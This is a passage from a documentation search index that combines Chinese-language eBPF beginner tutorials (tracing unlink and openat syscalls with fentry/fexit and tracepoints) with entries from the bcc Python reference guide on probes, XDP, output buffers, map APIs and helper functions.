dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用C语言编写的eBPF（扩展的伯克利包过滤器）程序，它使用BPF的fentry和fexit探针来跟踪Linux内核函数do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在eBPF中使用fentry监测捕获unlink系统调用。 程序包含以下部分： 包含头文件：包括vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为LICENSE的字符数组，包含许可证信息\"Dual BSD/GPL\"。 定义fentry探针：我们定义了一个名为BPF_PROG(do_unlinkat)的fentry探针，该探针在do_unlinkat函数的入口处被触发。这个探针获取当前进程的PID（进程ID）并将其与文件名一起打印到内核日志。 定义fexit探针：我们还定义了一个名为BPF_PROG(do_unlinkat_exit)的fexit探针，该探针在do_unlinkat函数的退出处被触发。与fentry探针类似，这个探针也会获取当前进程的PID并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在eBPF中使用fentry和fexit探针来监控和捕获内核函数调用，例如在本教程中的unlink系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"Syntax: USDT.enable_probe(probe=probe, fn_name=name) Attaches a BPF C function name to the USDT probe probe. Example: # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") To check if your binary has USDT probes, and what they are, you can run readelf -n binary and check the stap debug section. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"270","title":"6. USDT.enable_probe()"},"271":{"body":"Syntax: BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel raw tracepoint described by tracepoint (event only, no category), and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The RAW_TRACEPOINT_PROBE syntax, covered in the earlier raw tracepoints section, is an alternate method. For example: b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"271","title":"7. attach_raw_tracepoint()"},"272":{"body":"Syntax: BPF.attach_raw_socket(fn, dev) Attaches a BPF function to the specified network interface. The fn must be the type of BPF.function and the bpf_prog type needs to be BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock is a non-blocking raw socket that was created and bound to dev. All network packets processed by dev are copied to the recv-q of fn.sock after being processed by bpf_prog. Try to recv packet form fn.sock with rev/recvfrom/recvmsg. Note that if the recv-q is not read in time after the recv-q is full, the copied packets will be discarded. We can use this feature to capture network packets just like tcpdump. We can use ss --bpf --packet -p to observe fn.sock. Example: BPF.attach_raw_socket(bpf_func, ifname) Examples in situ: search /examples","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"272","title":"8. attach_raw_socket()"},"273":{"body":"Syntax: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) Instruments the network driver described by dev , and then receives the packet, run the BPF function fn_name() with flags. Here is a list of optional flags. # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) You can use flags like this BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) The default value of flags is 0. This means if there is no xdp program with device, the fn will run with that device. If there is an xdp program running with device, the old program will be replaced with new fn program. Currently, bcc does not support XDP_FLAGS_REPLACE flag. The following are the descriptions of other flags. 1. XDP_FLAGS_UPDATE_IF_NOEXIST If an XDP program is already attached to the specified driver, attaching the XDP program again will fail. 2. XDP_FLAGS_SKB_MODE Driver doesn’t have support for XDP, but the kernel fakes it. XDP program works, but there’s no real performance benefit because packets are handed to kernel stack anyways which then emulates XDP – this is usually supported with generic network drivers used in home computers, laptops, and virtualized HW. 3. XDP_FLAGS_DRV_MODE A driver has XDP support and can hand then to XDP without kernel stack interaction – Few drivers can support it and those are usually for enterprise HW. 4. XDP_FLAGS_HW_MODE XDP can be loaded and executed directly on the NIC – just a handful of NICs can do that. For example: b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) This will instrument the network device ens1 , which will then run our BPF defined do_xdp() function each time it receives packets. Don't forget to call b.remove_xdp(\"ens1\") at the end! Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"273","title":"9. attach_xdp()"},"274":{"body":"Syntax: BPF.attach_func(fn, attachable_fd, attach_type [, flags]) Attaches a BPF function of the specified type to a particular attachable_fd. if the attach_type is BPF_FLOW_DISSECTOR, the function is expected to attach to current net namespace and attachable_fd must be 0. For example: b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Note. When attached to \"global\" hooks (xdp, tc, lwt, cgroup). If the \"BPF function\" is no longer needed after the program terminates, be sure to call detach_func when the program exits. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"274","title":"10. attach_func()"},"275":{"body":"Syntax: BPF.detach_func(fn, attachable_fd, attach_type) Detaches a BPF function of the specified type. For example: b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. detach_func()","id":"275","title":"11. detach_func()"},"276":{"body":"Syntax: BPF.detach_kprobe(event=\"event\", fn_name=\"name\") Detach a kprobe handler function of the specified event. For example: b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\")","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"276","title":"12. detach_kprobe()"},"277":{"body":"Syntax: BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") Detach a kretprobe handler function of the specified event. For example: b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\")","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"277","title":"13. detach_kretprobe()"},"278":{"body":"","breadcrumbs":"bcc Reference Guide » Debug Output","id":"278","title":"Debug Output"},"279":{"body":"Syntax: BPF.trace_print(fmt=\"fields\") This method continually reads the globally shared /sys/kernel/debug/tracing/trace_pipe file and prints its contents. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: fmt: optional, and can contain a field formatting string. It defaults to None. Examples: # print trace_pipe output as-is:\nb.trace_print() # print PID and message:\nb.trace_print(fmt=\"{1} {5}\") Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"279","title":"1. trace_print()"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"Syntax: BPF.trace_fields(nonblocking=False) This method reads one line from the globally shared /sys/kernel/debug/tracing/trace_pipe file and returns it as fields. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: nonblocking: optional, defaults to False. When set to True, the program will not block waiting for input. Examples: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"280","title":"2. trace_fields()"},"281":{"body":"Normal output from a BPF program is either: per-event: using PERF_EVENT_OUTPUT, open_perf_buffer(), and perf_buffer_poll(). map summary: using items(), or print_log2_hist(), covered in the Maps section.","breadcrumbs":"bcc Reference Guide » Output APIs","id":"281","title":"Output APIs"},"282":{"body":"Syntax: BPF.perf_buffer_poll(timeout=T) This polls from all open perf ring buffers, calling the callback function that was provided when calling open_perf_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues indefinitely. Example: # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit(); Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"282","title":"1. perf_buffer_poll()"},"283":{"body":"Syntax: BPF.ring_buffer_poll(timeout=T) This polls from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues until there is no more data or the callback returns a negative value. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"283","title":"2. ring_buffer_poll()"},"284":{"body":"Syntax: BPF.ring_buffer_consume() This consumes from all open ringbuf ring buffers, calling the callback function that was provided when calling open_ring_buffer for each entry. Unlike ring_buffer_poll, this method does not poll for data before attempting to consume. This reduces latency at the expense of higher CPU consumption. If you are unsure which to use, use ring_buffer_poll. Example: # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"284","title":"3. ring_buffer_consume()"},"285":{"body":"Maps are BPF data stores, and are used in bcc to implement a table, and then higher level objects on top of tables, including hashes and histograms.","breadcrumbs":"bcc Reference Guide » Map APIs","id":"285","title":"Map APIs"},"286":{"body":"Syntax: BPF.get_table(name) Returns a table object. This is no longer used, as tables can now be read as items from BPF. Eg: BPF[name]. Examples: counts = b.get_table(\"counts\") counts = b[\"counts\"] These are equivalent.","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"286","title":"1. get_table()"},"287":{"body":"Syntax: table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) This operates on a table as defined in BPF as BPF_PERF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the perf ring buffer. This is part of the recommended mechanism for transferring per-event data from kernel to user space. The size of the perf ring buffer can be specified via the page_cnt parameter, which must be a power of two number of pages and defaults to 8. If the callback is not processing data fast enough, some submitted data may be lost. lost_cb will be called to log / monitor the lost count. If lost_cb is the default None value, it will just print a line of message to stderr. Example: # process event\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"287","title":"2. open_perf_buffer()"},"288":{"body":"Syntax: table.items() Returns an array of the keys in a table. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. Example: # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) This example also uses the sorted() method to sort by value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. items()","id":"288","title":"3. items()"},"289":{"body":"Syntax: table.values() Returns an array of the values in a table.","breadcrumbs":"bcc Reference Guide » 4. values()","id":"289","title":"4. values()"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它是用于打开文件的。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"Syntax: table.clear() Clears the table: deletes all entries. Example: # print map summary every second:\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"290","title":"5. clear()"},"291":{"body":"Syntax: table.items_lookup_and_delete_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. It also clears the table: deletes all entries. You should rather use table.items_lookup_and_delete_batch() than table.items() followed by table.clear(). It requires kernel v5.6. Example: # print call rate per second:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"291","title":"6. items_lookup_and_delete_batch()"},"292":{"body":"Syntax: table.items_lookup_batch() Returns an array of the keys in a table with a single call to BPF syscall. This can be used with BPF_HASH maps to fetch, and iterate, over the keys. You should rather use table.items_lookup_batch() than table.items(). It requires kernel v5.6. Example: # print current value of map:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"292","title":"7. items_lookup_batch()"},"293":{"body":"Syntax: table.items_delete_batch(keys) It clears all entries of a BPF_HASH map when keys is None. It is more efficient than table.clear() since it generates only one system call. You can delete a subset of a map by giving an array of keys as parameter. Those keys and their associated values will be deleted. It requires kernel v5.6. Arguments: keys is optional and by default is None.","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"293","title":"8. items_delete_batch()"},"294":{"body":"Syntax: table.items_update_batch(keys, values) Update all the provided keys with new values. The two arguments must be the same length and within the map limits (between 1 and the maximum entries). It requires kernel v5.6. Arguments: keys is the list of keys to be updated values is the list containing the new values.","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"294","title":"9. items_update_batch()"},"295":{"body":"Syntax: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a log2 histogram in ASCII. The table must be stored as log2, which can be done using the BPF function bpf_log2l(). Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") Output: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| This output shows a multi-modal distribution, with the largest mode of 128->255 kbytes and a count of 800. This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the count column is passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. print_log2_hist()","id":"295","title":"10. print_log2_hist()"},"296":{"body":"Syntax: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) Prints a table as a linear histogram in ASCII. This is intended to visualize small integer ranges, eg, 0 to 100. Arguments: val_type: optional, column header. section_header: if the histogram has a secondary key, multiple tables will print and section_header can be used as a header description for each. section_print_fn: if section_print_fn is not None, it will be passed the bucket value. Example: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") Output: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | | 16 : 2 |**** |\n[...] This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the values in the count column are passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()","id":"296","title":"11. print_linear_hist()"},"297":{"body":"Syntax: table.open_ring_buffer(callback, ctx=None) This operates on a table as defined in BPF as BPF_RINGBUF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the ringbuf ring buffer. This is part of the new (Linux 5.8+) recommended mechanism for transferring per-event data from kernel to user space. Unlike perf buffers, ringbuf sizes are specified within the BPF program, as part of the BPF_RINGBUF_OUTPUT macro. If the callback is not processing data fast enough, some submitted data may be lost. In this case, the events should be polled more frequently and/or the size of the ring buffer should be increased. Example: # process event\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"297","title":"12. open_ring_buffer()"},"298":{"body":"Syntax: table.push(leaf, flags=0) Push an element onto a Stack or Queue table. Raises an exception if the operation does not succeed. Passing QueueStack.BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"298","title":"13. push()"},"299":{"body":"Syntax: leaf = table.pop() Pop an element from a Stack or Queue table. Unlike peek(), pop() removes the element from the table before returning it. Raises a KeyError exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"299","title":"14. pop()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h> /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件：<vmlinux.h> 包含了内核数据结构的定义，<bpf/bpf_helpers.h> 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TGID（线程组 ID）。由于我们只关心 PID，所以将其赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息将在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"Syntax: leaf = table.peek() Peek the element at the head of a Stack or Queue table. Unlike pop(), peek() does not remove the element from the table. Raises an exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"300","title":"15. peek()"},"301":{"body":"Some helper methods provided by bcc. Note that since we're in Python, we can import any Python library and their methods, including, for example, the libraries: argparse, collections, ctypes, datetime, re, socket, struct, subprocess, sys, and time.","breadcrumbs":"bcc Reference Guide » Helpers","id":"301","title":"Helpers"},"302":{"body":"Syntax: BPF.ksym(addr) Translate a kernel memory address into a kernel function name, which is returned. Example: print(\"kernel function: \" + b.ksym(addr)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"302","title":"1. ksym()"},"303":{"body":"Syntax: BPF.ksymname(name) Translate a kernel name into an address. This is the reverse of ksym. Returns -1 when the function name is unknown. Example: print(\"kernel address: %x\" % b.ksymname(\"vfs_read\")) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"303","title":"2. ksymname()"},"304":{"body":"Syntax: BPF.sym(addr, pid, show_module=False, show_offset=False) Translate a memory address into a function name for a pid, which is returned. A pid of less than zero will access the kernel symbol cache. The show_module and show_offset parameters control whether the module in which the symbol lies should be displayed, and whether the instruction offset from the beginning of the symbol should be displayed. These extra parameters default to False. Example: print(\"function: \" + b.sym(addr, pid)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"304","title":"3. sym()"},"305":{"body":"Syntax: BPF.num_open_kprobes() Returns the number of open k[ret]probes. Can be useful for scenarios where event_re is used while attaching and detaching probes. Excludes perf_events readers. Example: b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0 functions matched by \\\"%s\\\". Exiting.\" % args.pattern) exit() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"305","title":"4. num_open_kprobes()"},"306":{"body":"Syntax: BPF.get_syscall_fnname(name : str) Return the corresponding kernel function name of the syscall. This helper function will try different prefixes and use the right one to concatenate with the syscall name. Note that the return value may vary in different versions of linux kernel and sometimes it will causing trouble. (see #2590 ) Example: print(\"The function name of %s in kernel is %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone or __x64_sys_clone or ... Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"306","title":"5. get_syscall_fnname()"},"307":{"body":"See the \"Understanding eBPF verifier messages\" section in the kernel source under Documentation/networking/filter.txt.","breadcrumbs":"bcc Reference Guide » BPF Errors","id":"307","title":"BPF Errors"},"308":{"body":"This can be due to trying to read memory directly, instead of operating on memory on the BPF stack. All kernel memory reads must be passed via bpf_probe_read_kernel() to copy kernel memory into the BPF stack, which can be automatic by the bcc rewriter in some cases of simple dereferencing. bpf_probe_read_kernel() does all the required checks. Example: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in <module> b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload() File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 612, in _trace_autoload fn = self.load_func(func_name, BPF.KPROBE) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 212, in load_func raise Exception(\"Failed to load BPF program %s\" % func_name)\nException: Failed to load BPF program kretprobe__inet_csk_accept","breadcrumbs":"bcc Reference Guide » 1. 